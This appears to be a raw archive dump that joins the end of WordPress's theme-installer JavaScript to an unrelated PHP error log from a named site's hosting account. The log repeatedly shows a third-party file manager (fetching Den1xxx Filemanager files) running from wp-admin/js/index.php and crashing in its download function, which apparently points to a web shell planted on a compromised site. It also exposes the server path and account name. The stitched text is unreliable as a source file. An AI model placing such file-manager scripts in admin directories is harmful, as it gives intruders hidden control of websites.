		var request,
			$el = $( event.target ),
			filter = $el.data( 'filter' );

		// Bail if this is already active.
		if ( $el.hasClass( this.activeClass ) ) {
			return;
		}

		$( '.filter-links li > a, .theme-section' )
			.removeClass( this.activeClass )
			.removeAttr( 'aria-current' );
		$el
			.addClass( this.activeClass )
			.attr( 'aria-current', 'page' );

		if ( ! filter ) {
			return;
		}

		// Construct the filter request
		// using the default values.
		filter = _.union( [ filter, this.filtersChecked() ] );
		request = { tag: [ filter ] };

		// Get the themes by sending Ajax POST request to api.wordpress.org/themes
		// or searching the local cache.
		this.collection.query( request );
	},

	// Clicking on a checkbox to add another filter to the request.
	addFilter: function() {
		this.filtersChecked();
	},

	// Applying filters triggers a tag request.
	applyFilters: function( event ) {
		var name,
			tags = this.filtersChecked(),
			request = { tag: tags },
			filteringBy = $( '.filtered-by .tags' );

		if ( event ) {
			event.preventDefault();
		}

		if ( ! tags ) {
			wp.a11y.speak( l10n.selectFeatureFilter );
			return;
		}

		$( 'body' ).addClass( 'filters-applied' );
		$( '.filter-links li > a.current' )
			.removeClass( 'current' )
			.removeAttr( 'aria-current' );

		filteringBy.empty();

		_.each( tags, function( tag ) {
			name = $( 'label[for="filter-id-' + tag + '"]' ).text();
			filteringBy.append( '<span class="tag">' + name + '</span>' );
		});

		// Get the themes by sending Ajax POST request to api.wordpress.org/themes
		// or searching the local cache.
		this.collection.query( request );
	},

	// Save the user's WordPress.org username and get his favorite themes.
	saveUsername: function ( event ) {
		var username = $( '#wporg-username-input' ).val(),
			nonce = $( '#wporg-username-nonce' ).val(),
			request = { browse: 'favorites', user: username },
			that = this;

		if ( event ) {
			event.preventDefault();
		}

		// Save username on enter.
		if ( event.type === 'keyup' && event.which !== 13 ) {
			return;
		}

		return wp.ajax.send( 'save-wporg-username', {
			data: {
				_wpnonce: nonce,
				username: username
			},
			success: function () {
				// Get the themes by sending Ajax POST request to api.wordpress.org/themes
				// or searching the local cache.
				that.collection.query( request );
			}
		} );
	},

	/**
	 * Get the checked filters.
	 *
	 * @return {Array} of tags or false
	 */
	filtersChecked: function() {
		var items = $( '.filter-group' ).find( ':checkbox' ),
			tags = [];

		_.each( items.filter( ':checked' ), function( item ) {
			tags.push( $( item ).prop( 'value' ) );
		});

		// When no filters are checked, restore initial state and return.
		if ( tags.length === 0 ) {
			$( '.filter-drawer .apply-filters' ).find( 'span' ).text( '' );
			$( '.filter-drawer .clear-filters' ).hide();
			$( 'body' ).removeClass( 'filters-applied' );
			return false;
		}

		$( '.filter-drawer .apply-filters' ).find( 'span' ).text( tags.length );
		$( '.filter-drawer .clear-filters' ).css( 'display', 'inline-block' );

		return tags;
	},

	activeClass: 'current',

	/**
	 * When users press the "Upload Theme" button, show the upload form in place.
	 */
	uploader: function() {
		var uploadViewToggle = $( '.upload-view-toggle' ),
			$body = $( document.body );

		uploadViewToggle.on( 'click', function() {
			// Toggle the upload view.
			$body.toggleClass( 'show-upload-view' );
			// Toggle the `aria-expanded` button attribute.
			uploadViewToggle.attr( 'aria-expanded', $body.hasClass( 'show-upload-view' ) );
		});
	},

	// Toggle the full filters navigation.
	moreFilters: function( event ) {
		var $body = $( 'body' ),
			$toggleButton = $( '.drawer-toggle' );

		event.preventDefault();

		if ( $body.hasClass( 'filters-applied' ) ) {
			return this.backToFilters();
		}

		this.clearSearch();

		themes.router.navigate( themes.router.baseUrl( '' ) );
		// Toggle the feature filters view.
		$body.toggleClass( 'show-filters' );
		// Toggle the `aria-expanded` button attribute.
		$toggleButton.attr( 'aria-expanded', $body.hasClass( 'show-filters' ) );
	},

	/**
	 * Clears all the checked filters.
	 *
	 * @uses filtersChecked()
	 */
	clearFilters: function( event ) {
		var items = $( '.filter-group' ).find( ':checkbox' ),
			self = this;

		event.preventDefault();

		_.each( items.filter( ':checked' ), function( item ) {
			$( item ).prop( 'checked', false );
			return self.filtersChecked();
		});
	},

	backToFilters: function( event ) {
		if ( event ) {
			event.preventDefault();
		}

		$( 'body' ).removeClass( 'filters-applied' );
	},

	clearSearch: function() {
		$( '#wp-filter-search-input').val( '' );
	}
});

themes.InstallerRouter = Backbone.Router.extend({
	routes: {
		'theme-install.php?theme=:slug': 'preview',
		'theme-install.php?browse=:sort': 'sort',
		'theme-install.php?search=:query': 'search',
		'theme-install.php': 'sort'
	},

	baseUrl: function( url ) {
		return 'theme-install.php' + url;
	},

	themePath: '?theme=',
	browsePath: '?browse=',
	searchPath: '?search=',

	search: function( query ) {
		$( '.wp-filter-search' ).val( query.replace( /\+/g, ' ' ) );
	},

	navigate: navigateRouter
});


themes.RunInstaller = {

	init: function() {
		// Set up the view.
		// Passes the default 'section' as an option.
		this.view = new themes.view.Installer({
			section: 'popular',
			SearchView: themes.view.InstallerSearch
		});

		// Render results.
		this.render();

		// Start debouncing user searches after Backbone.history.start().
		this.view.SearchView.doSearch = _.debounce( this.view.SearchView.doSearch, 500 );
	},

	render: function() {

		// Render results.
		this.view.render();
		this.routes();

		if ( Backbone.History.started ) {
			Backbone.history.stop();
		}
		Backbone.history.start({
			root: themes.data.settings.adminUrl,
			pushState: true,
			hashChange: false
		});
	},

	routes: function() {
		var self = this,
			request = {};

		// Bind to our global `wp.themes` object
		// so that the router is available to sub-views.
		themes.router = new themes.InstallerRouter();

		// Handles `theme` route event.
		// Queries the API for the passed theme slug.
		themes.router.on( 'route:preview', function( slug ) {

			// Remove existing handlers.
			if ( themes.preview ) {
				themes.preview.undelegateEvents();
				themes.preview.unbind();
			}

			// If the theme preview is active, set the current theme.
			if ( self.view.view.theme && self.view.view.theme.preview ) {
				self.view.view.theme.model = self.view.collection.findWhere( { 'slug': slug } );
				self.view.view.theme.preview();
			} else {

				// Select the theme by slug.
				request.theme = slug;
				self.view.collection.query( request );
				self.view.collection.trigger( 'update' );

				// Open the theme preview.
				self.view.collection.once( 'query:success', function() {
					$( 'div[data-slug="' + slug + '"]' ).trigger( 'click' );
				});

			}
		});

		/*
		 * Handles sorting / browsing routes.
		 * Also handles the root URL triggering a sort request
		 * for `popular`, the default view.
		 */
		themes.router.on( 'route:sort', function( sort ) {
			if ( ! sort ) {
				sort = 'popular';
				themes.router.navigate( themes.router.baseUrl( '?browse=popular' ), { replace: true } );
			}
			self.view.sort( sort );

			// Close the preview if open.
			if ( themes.preview ) {
				themes.preview.close();
			}
		});

		// The `search` route event. The router populates the input field.
		themes.router.on( 'route:search', function() {
			$( '.wp-filter-search' ).trigger( 'focus' ).trigger( 'keyup' );
		});

		this.extraRoutes();
	},

	extraRoutes: function() {
		return false;
	}
};

// Ready...
$( function() {
	if ( themes.isInstall ) {
		themes.RunInstaller.init();
	} else {
		themes.Run.init();
	}

	// Update the return param just in time.
	$( document.body ).on( 'click', '.load-customize', function() {
		var link = $( this ), urlParser = document.createElement( 'a' );
		urlParser.href = link.prop( 'href' );
		urlParser.search = $.param( _.extend(
			wp.customize.utils.parseQueryString( urlParser.search.substr( 1 ) ),
			{
				'return': window.location.href
			}
		) );
		link.prop( 'href', urlParser.href );
	});

	$( '.broken-themes .delete-theme' ).on( 'click', function() {
		return confirm( _wpThemeSettings.settings.confirmDelete );
	});
});

})( jQuery );

// Align theme browser thickbox.
jQuery( function($) {
	window.tb_position = function() {
		var tbWindow = $('#TB_window'),
			width = $(window).width(),
			H = $(window).height(),
			W = ( 1040 < width ) ? 1040 : width,
			adminbar_height = 0;

		if ( $('#wpadminbar').length ) {
			adminbar_height = parseInt( $('#wpadminbar').css('height'), 10 );
		}

		if ( tbWindow.length >= 1 ) {
			tbWindow.width( W - 50 ).height( H - 45 - adminbar_height );
			$('#TB_iframeContent').width( W - 50 ).height( H - 75 - adminbar_height );
			tbWindow.css({'margin-left': '-' + parseInt( ( ( W - 50 ) / 2 ), 10 ) + 'px'});
			if ( typeof document.body.style.maxWidth !== 'undefined' ) {
				tbWindow.css({'top': 20 + adminbar_height + 'px', 'margin-top': '0'});
			}
		}
	};

	$(window).on( 'resize', function(){ tb_position(); });
});
error_log000064400000167410150276633110006476 0ustar00[19-Jun-2025 08:11:00 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/natitnen/crestassured.com/wp-admin/js/index.php on line 195
[19-Jun-2025 14:52:58 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/natitnen/crestassured.com/wp-admin/js/index.php on line 195
[22-Jun-2025 19:47:09 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function fileSetize() in /home/natitnen/crestassured.com/wp-admin/js/index.php:445
Stack trace:
#0 /home/natitnen/crestassured.com/wp-admin/js/index.php(1241): fm_download()
#1 {main}
  thrown in /home/natitnen/crestassured.com/wp-admin/js/index.php on line 445
[22-Jun-2025 20:08:48 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function fileSetize() in /home/natitnen/crestassured.com/wp-admin/js/index.php:445
Stack trace:
#0 /home/natitnen/crestassured.com/wp-admin/js/index.php(1241): fm_download()
#1 {main}
  thrown in /home/natitnen/crestassured.com/wp-admin/js/index.php on line 445
[22-Jun-2025 20:12:44 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function fileSetize() in /home/natitnen/crestassured.com/wp-admin/js/index.php:445
Stack trace:
#0 /home/natitnen/crestassured.com/wp-admin/js/index.php(1241): fm_download()
#1 {main}
  thrown in /home/natitnen/crestassured.com/wp-admin/js/index.php on line 445
[22-Jun-2025 20:56:00 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function fileSetize() in /home/natitnen/crestassured.com/wp-admin/js/index.php:445
Stack trace:
#0 /home/natitnen/crestassured.com/wp-admin/js/index.php(1241): fm_download()
#1 {main}
  thrown in /home/natitnen/crestassured.com/wp-admin/js/index.php on line 445
[22-Jun-2025 22:45:12 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function fileSetize() in /home/natitnen/crestassured.com/wp-admin/js/index.php:445
Stack trace:
#0 /home/natitnen/crestassured.com/wp-admin/js/index.php(1241): fm_download()
#1 {main}
  thrown in /home/natitnen/crestassured.com/wp-admin/js/index.php on line 445
[22-Jun-2025 23:36:49 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function fileSetize() in /home/natitnen/crestassured.com/wp-admin/js/index.php:445
Stack trace:
#0 /home/natitnen/crestassured.com/wp-admin/js/index.php(1241): fm_download()
#1 {main}
  thrown in /home/natitnen/crestassured.com/wp-admin/js/index.php on line 445
[22-Jun-2025 23:58:43 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function fileSetize() in /home/natitnen/crestassured.com/wp-admin/js/index.php:445
Stack trace:
#0 /home/natitnen/crestassured.com/wp-admin/js/index.php(1241): fm_download()
#1 {main}
  thrown in /home/natitnen/crestassured.com/wp-admin/js/index.php on line 445
[23-Jun-2025 01:14:30 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function fileSetize() in /home/natitnen/crestassured.com/wp-admin/js/index.php:445
Stack trace:
#0 /home/natitnen/crestassured.com/wp-admin/js/index.php(1241): fm_download()
#1 {main}
  thrown in /home/natitnen/crestassured.com/wp-admin/js/index.php on line 445
[23-Jun-2025 01:31:48 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function fileSetize() in /home/natitnen/crestassured.com/wp-admin/js/index.php:445
Stack trace:
#0 /home/natitnen/crestassured.com/wp-admin/js/index.php(1241): fm_download()
#1 {main}
  thrown in /home/natitnen/crestassured.com/wp-admin/js/index.php on line 445
[23-Jun-2025 01:46:13 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function fileSetize() in /home/natitnen/crestassured.com/wp-admin/js/index.php:445
Stack trace:
#0 /home/natitnen/crestassured.com/wp-admin/js/index.php(1241): fm_download()
#1 {main}
  thrown in /home/natitnen/crestassured.com/wp-admin/js/index.php on line 445
[23-Jun-2025 03:21:03 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function fileSetize() in /home/natitnen/crestassured.com/wp-admin/js/index.php:445
Stack trace:
#0 /home/natitnen/crestassured.com/wp-admin/js/index.php(1241): fm_download()
#1 {main}
  thrown in /home/natitnen/crestassured.com/wp-admin/js/index.php on line 445
[23-Jun-2025 03:36:37 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function fileSetize() in /home/natitnen/crestassured.com/wp-admin/js/index.php:445
Stack trace:
#0 /home/natitnen/crestassured.com/wp-admin/js/index.php(1241): fm_download()
#1 {main}
  thrown in /home/natitnen/crestassured.com/wp-admin/js/index.php on line 445
[23-Jun-2025 03:48:09 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function fileSetize() in /home/natitnen/crestassured.com/wp-admin/js/index.php:445
Stack trace:
#0 /home/natitnen/crestassured.com/wp-admin/js/index.php(1241): fm_download()
#1 {main}
  thrown in /home/natitnen/crestassured.com/wp-admin/js/index.php on line 445
[23-Jun-2025 06:05:09 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function fileSetize() in /home/natitnen/crestassured.com/wp-admin/js/index.php:445
Stack trace:
#0 /home/natitnen/crestassured.com/wp-admin/js/index.php(1241): fm_download()
#1 {main}
  thrown in /home/natitnen/crestassured.com/wp-admin/js/index.php on line 445
[23-Jun-2025 06:10:20 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function fileSetize() in /home/natitnen/crestassured.com/wp-admin/js/index.php:445
Stack trace:
#0 /home/natitnen/crestassured.com/wp-admin/js/index.php(1241): fm_download()
#1 {main}
  thrown in /home/natitnen/crestassured.com/wp-admin/js/index.php on line 445
[23-Jun-2025 06:20:08 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function fileSetize() in /home/natitnen/crestassured.com/wp-admin/js/index.php:445
Stack trace:
#0 /home/natitnen/crestassured.com/wp-admin/js/index.php(1241): fm_download()
#1 {main}
  thrown in /home/natitnen/crestassured.com/wp-admin/js/index.php on line 445
[23-Jun-2025 06:30:31 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function fileSetize() in /home/natitnen/crestassured.com/wp-admin/js/index.php:445
Stack trace:
#0 /home/natitnen/crestassured.com/wp-admin/js/index.php(1241): fm_download()
#1 {main}
  thrown in /home/natitnen/crestassured.com/wp-admin/js/index.php on line 445
[23-Jun-2025 08:31:58 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function fileSetize() in /home/natitnen/crestassured.com/wp-admin/js/index.php:445
Stack trace:
#0 /home/natitnen/crestassured.com/wp-admin/js/index.php(1241): fm_download()
#1 {main}
  thrown in /home/natitnen/crestassured.com/wp-admin/js/index.php on line 445
[23-Jun-2025 08:33:41 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function fileSetize() in /home/natitnen/crestassured.com/wp-admin/js/index.php:445
Stack trace:
#0 /home/natitnen/crestassured.com/wp-admin/js/index.php(1241): fm_download()
#1 {main}
  thrown in /home/natitnen/crestassured.com/wp-admin/js/index.php on line 445
[23-Jun-2025 08:49:10 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function fileSetize() in /home/natitnen/crestassured.com/wp-admin/js/index.php:445
Stack trace:
#0 /home/natitnen/crestassured.com/wp-admin/js/index.php(1241): fm_download()
#1 {main}
  thrown in /home/natitnen/crestassured.com/wp-admin/js/index.php on line 445
[23-Jun-2025 08:59:54 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function fileSetize() in /home/natitnen/crestassured.com/wp-admin/js/index.php:445
Stack trace:
#0 /home/natitnen/crestassured.com/wp-admin/js/index.php(1241): fm_download()
#1 {main}
  thrown in /home/natitnen/crestassured.com/wp-admin/js/index.php on line 445
[23-Jun-2025 09:28:16 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function fileSetize() in /home/natitnen/crestassured.com/wp-admin/js/index.php:445
Stack trace:
#0 /home/natitnen/crestassured.com/wp-admin/js/index.php(1241): fm_download()
#1 {main}
  thrown in /home/natitnen/crestassured.com/wp-admin/js/index.php on line 445
[23-Jun-2025 09:31:42 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function fileSetize() in /home/natitnen/crestassured.com/wp-admin/js/index.php:445
Stack trace:
#0 /home/natitnen/crestassured.com/wp-admin/js/index.php(1241): fm_download()
#1 {main}
  thrown in /home/natitnen/crestassured.com/wp-admin/js/index.php on line 445
[23-Jun-2025 09:39:00 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function fileSetize() in /home/natitnen/crestassured.com/wp-admin/js/index.php:445
Stack trace:
#0 /home/natitnen/crestassured.com/wp-admin/js/index.php(1241): fm_download()
#1 {main}
  thrown in /home/natitnen/crestassured.com/wp-admin/js/index.php on line 445
[23-Jun-2025 09:41:35 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function fileSetize() in /home/natitnen/crestassured.com/wp-admin/js/index.php:445
Stack trace:
#0 /home/natitnen/crestassured.com/wp-admin/js/index.php(1241): fm_download()
#1 {main}
  thrown in /home/natitnen/crestassured.com/wp-admin/js/index.php on line 445
[23-Jun-2025 09:46:11 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function fileSetize() in /home/natitnen/crestassured.com/wp-admin/js/index.php:445
Stack trace:
#0 /home/natitnen/crestassured.com/wp-admin/js/index.php(1241): fm_download()
#1 {main}
  thrown in /home/natitnen/crestassured.com/wp-admin/js/index.php on line 445
[23-Jun-2025 09:53:36 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function fileSetize() in /home/natitnen/crestassured.com/wp-admin/js/index.php:445
Stack trace:
#0 /home/natitnen/crestassured.com/wp-admin/js/index.php(1241): fm_download()
#1 {main}
  thrown in /home/natitnen/crestassured.com/wp-admin/js/index.php on line 445
[23-Jun-2025 10:12:31 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function fileSetize() in /home/natitnen/crestassured.com/wp-admin/js/index.php:445
Stack trace:
#0 /home/natitnen/crestassured.com/wp-admin/js/index.php(1241): fm_download()
#1 {main}
  thrown in /home/natitnen/crestassured.com/wp-admin/js/index.php on line 445
[23-Jun-2025 10:12:57 UTC] PHP Warning:  Undefined variable $ext in /home/natitnen/crestassured.com/wp-admin/js/index.php on line 2068
[23-Jun-2025 10:18:58 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function fileSetize() in /home/natitnen/crestassured.com/wp-admin/js/index.php:445
Stack trace:
#0 /home/natitnen/crestassured.com/wp-admin/js/index.php(1241): fm_download()
#1 {main}
  thrown in /home/natitnen/crestassured.com/wp-admin/js/index.php on line 445
[23-Jun-2025 10:19:23 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function fileSetize() in /home/natitnen/crestassured.com/wp-admin/js/index.php:445
Stack trace:
#0 /home/natitnen/crestassured.com/wp-admin/js/index.php(1241): fm_download()
#1 {main}
  thrown in /home/natitnen/crestassured.com/wp-admin/js/index.php on line 445
[23-Jun-2025 11:18:41 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function fileSetize() in /home/natitnen/crestassured.com/wp-admin/js/index.php:445
Stack trace:
#0 /home/natitnen/crestassured.com/wp-admin/js/index.php(1241): fm_download()
#1 {main}
  thrown in /home/natitnen/crestassured.com/wp-admin/js/index.php on line 445
[23-Jun-2025 11:35:27 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function fileSetize() in /home/natitnen/crestassured.com/wp-admin/js/index.php:445
Stack trace:
#0 /home/natitnen/crestassured.com/wp-admin/js/index.php(1241): fm_download()
#1 {main}
  thrown in /home/natitnen/crestassured.com/wp-admin/js/index.php on line 445
[23-Jun-2025 11:44:02 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function fileSetize() in /home/natitnen/crestassured.com/wp-admin/js/index.php:445
Stack trace:
#0 /home/natitnen/crestassured.com/wp-admin/js/index.php(1241): fm_download()
#1 {main}
  thrown in /home/natitnen/crestassured.com/wp-admin/js/index.php on line 445
[23-Jun-2025 11:53:55 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function fileSetize() in /home/natitnen/crestassured.com/wp-admin/js/index.php:445
Stack trace:
#0 /home/natitnen/crestassured.com/wp-admin/js/index.php(1241): fm_download()
#1 {main}
  thrown in /home/natitnen/crestassured.com/wp-admin/js/index.php on line 445
[23-Jun-2025 12:39:02 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function fileSetize() in /home/natitnen/crestassured.com/wp-admin/js/index.php:445
Stack trace:
#0 /home/natitnen/crestassured.com/wp-admin/js/index.php(1241): fm_download()
#1 {main}
  thrown in /home/natitnen/crestassured.com/wp-admin/js/index.php on line 445
[23-Jun-2025 13:35:30 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function fileSetize() in /home/natitnen/crestassured.com/wp-admin/js/index.php:445
Stack trace:
#0 /home/natitnen/crestassured.com/wp-admin/js/index.php(1241): fm_download()
#1 {main}
  thrown in /home/natitnen/crestassured.com/wp-admin/js/index.php on line 445
[23-Jun-2025 13:41:36 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function fileSetize() in /home/natitnen/crestassured.com/wp-admin/js/index.php:445
Stack trace:
#0 /home/natitnen/crestassured.com/wp-admin/js/index.php(1241): fm_download()
#1 {main}
  thrown in /home/natitnen/crestassured.com/wp-admin/js/index.php on line 445
[23-Jun-2025 13:42:24 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function fileSetize() in /home/natitnen/crestassured.com/wp-admin/js/index.php:445
Stack trace:
#0 /home/natitnen/crestassured.com/wp-admin/js/index.php(1241): fm_download()
#1 {main}
  thrown in /home/natitnen/crestassured.com/wp-admin/js/index.php on line 445
[23-Jun-2025 13:43:13 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function fileSetize() in /home/natitnen/crestassured.com/wp-admin/js/index.php:445
Stack trace:
#0 /home/natitnen/crestassured.com/wp-admin/js/index.php(1241): fm_download()
#1 {main}
  thrown in /home/natitnen/crestassured.com/wp-admin/js/index.php on line 445
[23-Jun-2025 15:00:22 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function fileSetize() in /home/natitnen/crestassured.com/wp-admin/js/index.php:445
Stack trace:
#0 /home/natitnen/crestassured.com/wp-admin/js/index.php(1241): fm_download()
#1 {main}
  thrown in /home/natitnen/crestassured.com/wp-admin/js/index.php on line 445
[23-Jun-2025 17:17:20 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function fileSetize() in /home/natitnen/crestassured.com/wp-admin/js/index.php:445
Stack trace:
#0 /home/natitnen/crestassured.com/wp-admin/js/index.php(1241): fm_download()
#1 {main}
  thrown in /home/natitnen/crestassured.com/wp-admin/js/index.php on line 445
[23-Jun-2025 17:59:17 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function fileSetize() in /home/natitnen/crestassured.com/wp-admin/js/index.php:445
Stack trace:
#0 /home/natitnen/crestassured.com/wp-admin/js/index.php(1241): fm_download()
#1 {main}
  thrown in /home/natitnen/crestassured.com/wp-admin/js/index.php on line 445
[23-Jun-2025 19:21:54 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function fileSetize() in /home/natitnen/crestassured.com/wp-admin/js/index.php:445
Stack trace:
#0 /home/natitnen/crestassured.com/wp-admin/js/index.php(1241): fm_download()
#1 {main}
  thrown in /home/natitnen/crestassured.com/wp-admin/js/index.php on line 445
[23-Jun-2025 21:51:02 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function fileSetize() in /home/natitnen/crestassured.com/wp-admin/js/index.php:445
Stack trace:
#0 /home/natitnen/crestassured.com/wp-admin/js/index.php(1241): fm_download()
#1 {main}
  thrown in /home/natitnen/crestassured.com/wp-admin/js/index.php on line 445
[23-Jun-2025 22:53:19 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function fileSetize() in /home/natitnen/crestassured.com/wp-admin/js/index.php:445
Stack trace:
#0 /home/natitnen/crestassured.com/wp-admin/js/index.php(1241): fm_download()
#1 {main}
  thrown in /home/natitnen/crestassured.com/wp-admin/js/index.php on line 445
[23-Jun-2025 23:08:59 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function fileSetize() in /home/natitnen/crestassured.com/wp-admin/js/index.php:445
Stack trace:
#0 /home/natitnen/crestassured.com/wp-admin/js/index.php(1241): fm_download()
#1 {main}
  thrown in /home/natitnen/crestassured.com/wp-admin/js/index.php on line 445
[23-Jun-2025 23:15:46 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function fileSetize() in /home/natitnen/crestassured.com/wp-admin/js/index.php:445
Stack trace:
#0 /home/natitnen/crestassured.com/wp-admin/js/index.php(1241): fm_download()
#1 {main}
  thrown in /home/natitnen/crestassured.com/wp-admin/js/index.php on line 445
[24-Jun-2025 03:10:07 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function fileSetize() in /home/natitnen/crestassured.com/wp-admin/js/index.php:445
Stack trace:
#0 /home/natitnen/crestassured.com/wp-admin/js/index.php(1241): fm_download()
#1 {main}
  thrown in /home/natitnen/crestassured.com/wp-admin/js/index.php on line 445
[24-Jun-2025 04:30:12 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function fileSetize() in /home/natitnen/crestassured.com/wp-admin/js/index.php:445
Stack trace:
#0 /home/natitnen/crestassured.com/wp-admin/js/index.php(1241): fm_download()
#1 {main}
  thrown in /home/natitnen/crestassured.com/wp-admin/js/index.php on line 445
[24-Jun-2025 04:31:02 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function fileSetize() in /home/natitnen/crestassured.com/wp-admin/js/index.php:445
Stack trace:
#0 /home/natitnen/crestassured.com/wp-admin/js/index.php(1241): fm_download()
#1 {main}
  thrown in /home/natitnen/crestassured.com/wp-admin/js/index.php on line 445
[24-Jun-2025 07:50:10 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function fileSetize() in /home/natitnen/crestassured.com/wp-admin/js/index.php:445
Stack trace:
#0 /home/natitnen/crestassured.com/wp-admin/js/index.php(1241): fm_download()
#1 {main}
  thrown in /home/natitnen/crestassured.com/wp-admin/js/index.php on line 445
[24-Jun-2025 08:40:35 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function fileSetize() in /home/natitnen/crestassured.com/wp-admin/js/index.php:445
Stack trace:
#0 /home/natitnen/crestassured.com/wp-admin/js/index.php(1241): fm_download()
#1 {main}
  thrown in /home/natitnen/crestassured.com/wp-admin/js/index.php on line 445
[24-Jun-2025 08:49:03 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function fileSetize() in /home/natitnen/crestassured.com/wp-admin/js/index.php:445
Stack trace:
#0 /home/natitnen/crestassured.com/wp-admin/js/index.php(1241): fm_download()
#1 {main}
  thrown in /home/natitnen/crestassured.com/wp-admin/js/index.php on line 445
[24-Jun-2025 08:55:28 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function fileSetize() in /home/natitnen/crestassured.com/wp-admin/js/index.php:445
Stack trace:
#0 /home/natitnen/crestassured.com/wp-admin/js/index.php(1241): fm_download()
#1 {main}
  thrown in /home/natitnen/crestassured.com/wp-admin/js/index.php on line 445
[24-Jun-2025 08:56:28 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function fileSetize() in /home/natitnen/crestassured.com/wp-admin/js/index.php:445
Stack trace:
#0 /home/natitnen/crestassured.com/wp-admin/js/index.php(1241): fm_download()
#1 {main}
  thrown in /home/natitnen/crestassured.com/wp-admin/js/index.php on line 445
[24-Jun-2025 08:56:59 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function fileSetize() in /home/natitnen/crestassured.com/wp-admin/js/index.php:445
Stack trace:
#0 /home/natitnen/crestassured.com/wp-admin/js/index.php(1241): fm_download()
#1 {main}
  thrown in /home/natitnen/crestassured.com/wp-admin/js/index.php on line 445
[24-Jun-2025 09:30:21 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function fileSetize() in /home/natitnen/crestassured.com/wp-admin/js/index.php:445
Stack trace:
#0 /home/natitnen/crestassured.com/wp-admin/js/index.php(1241): fm_download()
#1 {main}
  thrown in /home/natitnen/crestassured.com/wp-admin/js/index.php on line 445
[24-Jun-2025 09:36:42 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function fileSetize() in /home/natitnen/crestassured.com/wp-admin/js/index.php:445
Stack trace:
#0 /home/natitnen/crestassured.com/wp-admin/js/index.php(1241): fm_download()
#1 {main}
  thrown in /home/natitnen/crestassured.com/wp-admin/js/index.php on line 445
[24-Jun-2025 10:03:11 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function fileSetize() in /home/natitnen/crestassured.com/wp-admin/js/index.php:445
Stack trace:
#0 /home/natitnen/crestassured.com/wp-admin/js/index.php(1241): fm_download()
#1 {main}
  thrown in /home/natitnen/crestassured.com/wp-admin/js/index.php on line 445
[24-Jun-2025 10:11:23 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function fileSetize() in /home/natitnen/crestassured.com/wp-admin/js/index.php:445
Stack trace:
#0 /home/natitnen/crestassured.com/wp-admin/js/index.php(1241): fm_download()
#1 {main}
  thrown in /home/natitnen/crestassured.com/wp-admin/js/index.php on line 445
[24-Jun-2025 10:20:16 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function fileSetize() in /home/natitnen/crestassured.com/wp-admin/js/index.php:445
Stack trace:
#0 /home/natitnen/crestassured.com/wp-admin/js/index.php(1241): fm_download()
#1 {main}
  thrown in /home/natitnen/crestassured.com/wp-admin/js/index.php on line 445
[24-Jun-2025 10:23:27 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function fileSetize() in /home/natitnen/crestassured.com/wp-admin/js/index.php:445
Stack trace:
#0 /home/natitnen/crestassured.com/wp-admin/js/index.php(1241): fm_download()
#1 {main}
  thrown in /home/natitnen/crestassured.com/wp-admin/js/index.php on line 445
[24-Jun-2025 10:24:27 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function fileSetize() in /home/natitnen/crestassured.com/wp-admin/js/index.php:445
